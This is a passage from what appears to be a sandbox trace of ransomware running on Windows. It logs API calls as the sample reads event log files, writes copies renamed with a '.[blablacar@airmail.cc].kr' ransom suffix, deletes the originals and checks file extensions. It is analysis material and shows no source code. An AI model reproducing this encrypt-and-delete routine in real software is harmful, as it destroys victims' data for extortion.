nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.743] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x12e, lpOverlapped=0x0) returned 1 [0103.744] SetEndOfFile (hFile=0x34c) returned 1 [0103.744] CloseHandle (hObject=0x34c) returned 1 [0103.746] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.746] SetEndOfFile (hFile=0x38c) returned 1 [0103.748] CloseHandle (hObject=0x38c) returned 1 [0103.748] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.748] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0103.748] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0103.748] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0103.748] lstrlenW (lpString=".doc") returned 4 [0103.748] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.749] lstrlenW (lpString=".docx") returned 5 [0103.749] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.749] lstrlenW (lpString=".pdf") returned 4 [0103.749] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.749] lstrlenW (lpString=".xls") returned 4 [0103.749] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.749] lstrlenW (lpString=".xlsx") returned 5 [0103.749] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.749] lstrlenW (lpString=".ppt") returned 4 [0103.749] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.749] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0103.749] lstrlenW (lpString=".zip") returned 4 [0103.749] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.749] lstrlenW (lpString=".rar") returned 4 [0103.749] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.749] lstrlenW (lpString=".bz2") returned 4 [0103.749] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.749] lstrlenW (lpString=".7z") returned 3 [0103.749] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.749] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0103.749] lstrlenW (lpString=".dbf") returned 4 [0103.749] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.749] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0103.749] lstrlenW (lpString=".1cd") returned 4 [0103.749] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.749] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0103.750] lstrlenW (lpString=".jpg") returned 4 [0103.750] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.750] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0103.750] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0103.750] lstrlenW (lpString=".doc") returned 4 [0103.750] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.750] lstrlenW (lpString=".docx") returned 5 [0103.750] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.750] lstrlenW (lpString=".pdf") returned 4 [0103.750] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.750] lstrlenW (lpString=".xls") returned 4 [0103.750] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.750] lstrlenW (lpString=".xlsx") returned 5 [0103.750] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.750] lstrlenW (lpString=".ppt") returned 4 [0103.750] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.750] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0103.750] lstrlenW (lpString=".zip") returned 4 [0103.750] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.750] lstrlenW (lpString=".rar") returned 4 [0103.750] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.750] lstrlenW (lpString=".bz2") returned 4 [0103.750] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.750] lstrlenW (lpString=".7z") returned 3 [0103.750] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0103.751] lstrlenW (lpString=".dbf") returned 4 [0103.751] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0103.751] lstrlenW (lpString=".1cd") returned 4 [0103.751] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.751] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0103.751] lstrlenW (lpString=".jpg") returned 4 [0103.751] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.751] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.751] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41 [0103.751] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.752] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0103.752] CloseHandle (hObject=0x38c) returned 1 [0103.752] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0103.752] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.752] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.753] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.753] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.753] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.753] GetLastError () returned 0x0 [0103.753] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.756] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.759] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.759] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x126, lpOverlapped=0x0) returned 1 [0103.759] SetEndOfFile (hFile=0x34c) returned 1 [0103.759] CloseHandle (hObject=0x34c) returned 1 [0103.762] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.762] SetEndOfFile (hFile=0x38c) returned 1 [0103.763] CloseHandle (hObject=0x38c) returned 1 [0103.763] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.764] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0103.764] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0103.764] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0103.764] lstrlenW (lpString=".doc") returned 4 [0103.764] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.764] lstrlenW (lpString=".docx") returned 5 [0103.764] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.764] lstrlenW (lpString=".pdf") returned 4 [0103.764] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.764] lstrlenW (lpString=".xls") returned 4 [0103.764] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.764] lstrlenW (lpString=".xlsx") returned 5 [0103.764] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.764] lstrlenW (lpString=".ppt") returned 4 [0103.764] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0103.765] lstrlenW (lpString=".zip") returned 4 [0103.765] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.765] lstrlenW (lpString=".rar") returned 4 [0103.765] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.765] lstrlenW (lpString=".bz2") returned 4 [0103.765] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.765] lstrlenW (lpString=".7z") returned 3 [0103.765] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0103.765] lstrlenW (lpString=".dbf") returned 4 [0103.765] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0103.765] lstrlenW (lpString=".1cd") returned 4 [0103.765] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0103.765] lstrlenW (lpString=".jpg") returned 4 [0103.765] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0103.765] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0103.765] lstrlenW (lpString=".doc") returned 4 [0103.765] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.765] lstrlenW (lpString=".docx") returned 5 [0103.766] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.766] lstrlenW (lpString=".pdf") returned 4 [0103.766] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.766] lstrlenW (lpString=".xls") returned 4 [0103.766] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.766] lstrlenW (lpString=".xlsx") returned 5 [0103.766] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.766] lstrlenW (lpString=".ppt") returned 4 [0103.766] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0103.766] lstrlenW (lpString=".zip") returned 4 [0103.766] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.766] lstrlenW (lpString=".rar") returned 4 [0103.766] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.766] lstrlenW (lpString=".bz2") returned 4 [0103.766] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.766] lstrlenW (lpString=".7z") returned 3 [0103.766] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0103.766] lstrlenW (lpString=".dbf") returned 4 [0103.766] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0103.766] lstrlenW (lpString=".1cd") returned 4 [0103.766] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.766] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0103.767] lstrlenW (lpString=".jpg") returned 4 [0103.767] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.767] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0103.767] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49 [0103.767] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.767] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0103.767] CloseHandle (hObject=0x38c) returned 1 [0103.768] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0103.768] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.768] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.768] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.768] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.768] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.769] GetLastError () returned 0x0 [0103.769] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0103.772] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0103.775] ReadFile (in: hFile=0x38c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.775] WriteFile (in: hFile=0x34c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x136, lpOverlapped=0x0) returned 1 [0103.775] SetEndOfFile (hFile=0x34c) returned 1 [0103.775] CloseHandle (hObject=0x34c) returned 1 [0103.778] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.778] SetEndOfFile (hFile=0x38c) returned 1 [0103.779] CloseHandle (hObject=0x38c) returned 1 [0103.779] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0103.780] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0103.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0103.783] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0103.783] lstrlenW (lpString=".doc") returned 4 [0103.783] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.783] lstrlenW (lpString=".docx") returned 5 [0103.783] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.784] lstrlenW (lpString=".pdf") returned 4 [0103.784] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.784] lstrlenW (lpString=".xls") returned 4 [0103.784] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.784] lstrlenW (lpString=".xlsx") returned 5 [0103.784] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.784] lstrlenW (lpString=".ppt") returned 4 [0103.784] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.784] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0103.784] lstrlenW (lpString=".zip") returned 4 [0103.784] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.784] lstrlenW (lpString=".rar") returned 4 [0103.784] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.784] lstrlenW (lpString=".bz2") returned 4 [0103.784] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.784] lstrlenW (lpString=".7z") returned 3 [0103.784] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.784] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0103.784] lstrlenW (lpString=".dbf") returned 4 [0103.784] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.784] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0103.784] lstrlenW (lpString=".1cd") returned 4 [0103.784] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.784] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0103.784] lstrlenW (lpString=".jpg") returned 4 [0103.785] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0103.785] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0103.785] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0103.785] lstrlenW (lpString=".doc") returned 4 [0103.785] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0103.785] lstrlenW (lpString=".docx") returned 5 [0103.785] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0103.785] lstrlenW (lpString=".pdf") returned 4 [0103.785] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0103.785] lstrlenW (lpString=".xls") returned 4 [0103.785] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0103.785] lstrlenW (lpString=".xlsx") returned 5 [0103.785] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0103.785] lstrlenW (lpString=".ppt") returned 4 [0103.785] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0103.785] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0103.785] lstrlenW (lpString=".zip") returned 4 [0103.785] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0103.785] lstrlenW (lpString=".rar") returned 4 [0103.785] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0103.785] lstrlenW (lpString=".bz2") returned 4 [0103.785] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0103.785] lstrlenW (lpString=".7z") returned 3 [0103.786] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0103.786] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0103.786] lstrlenW (lpString=".dbf") returned 4 [0103.786] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0103.786] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0103.786] lstrlenW (lpString=".1cd") returned 4 [0103.786] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0103.786] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0104.246] lstrlenW (lpString=".jpg") returned 4 [0104.246] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0104.247] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0104.247] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42 [0104.247] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0105.007] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0105.007] CloseHandle (hObject=0x35c) returned 1 [0105.007] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0105.007] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.007] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0105.008] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.008] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.008] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0105.009] GetLastError () returned 0x0 [0105.009] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.014] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.017] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.017] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x128, lpOverlapped=0x0) returned 1 [0105.017] SetEndOfFile (hFile=0x37c) returned 1 [0105.018] CloseHandle (hObject=0x37c) returned 1 [0105.022] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.022] SetEndOfFile (hFile=0x35c) returned 1 [0105.024] CloseHandle (hObject=0x35c) returned 1 [0105.024] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.024] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0105.024] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0105.024] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0105.024] lstrlenW (lpString=".doc") returned 4 [0105.025] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.025] lstrlenW (lpString=".docx") returned 5 [0105.025] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.025] lstrlenW (lpString=".pdf") returned 4 [0105.025] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.025] lstrlenW (lpString=".xls") returned 4 [0105.025] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.025] lstrlenW (lpString=".xlsx") returned 5 [0105.025] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.025] lstrlenW (lpString=".ppt") returned 4 [0105.025] lstrcmpiW (lpString1=".ppt", lpString2="evtx") 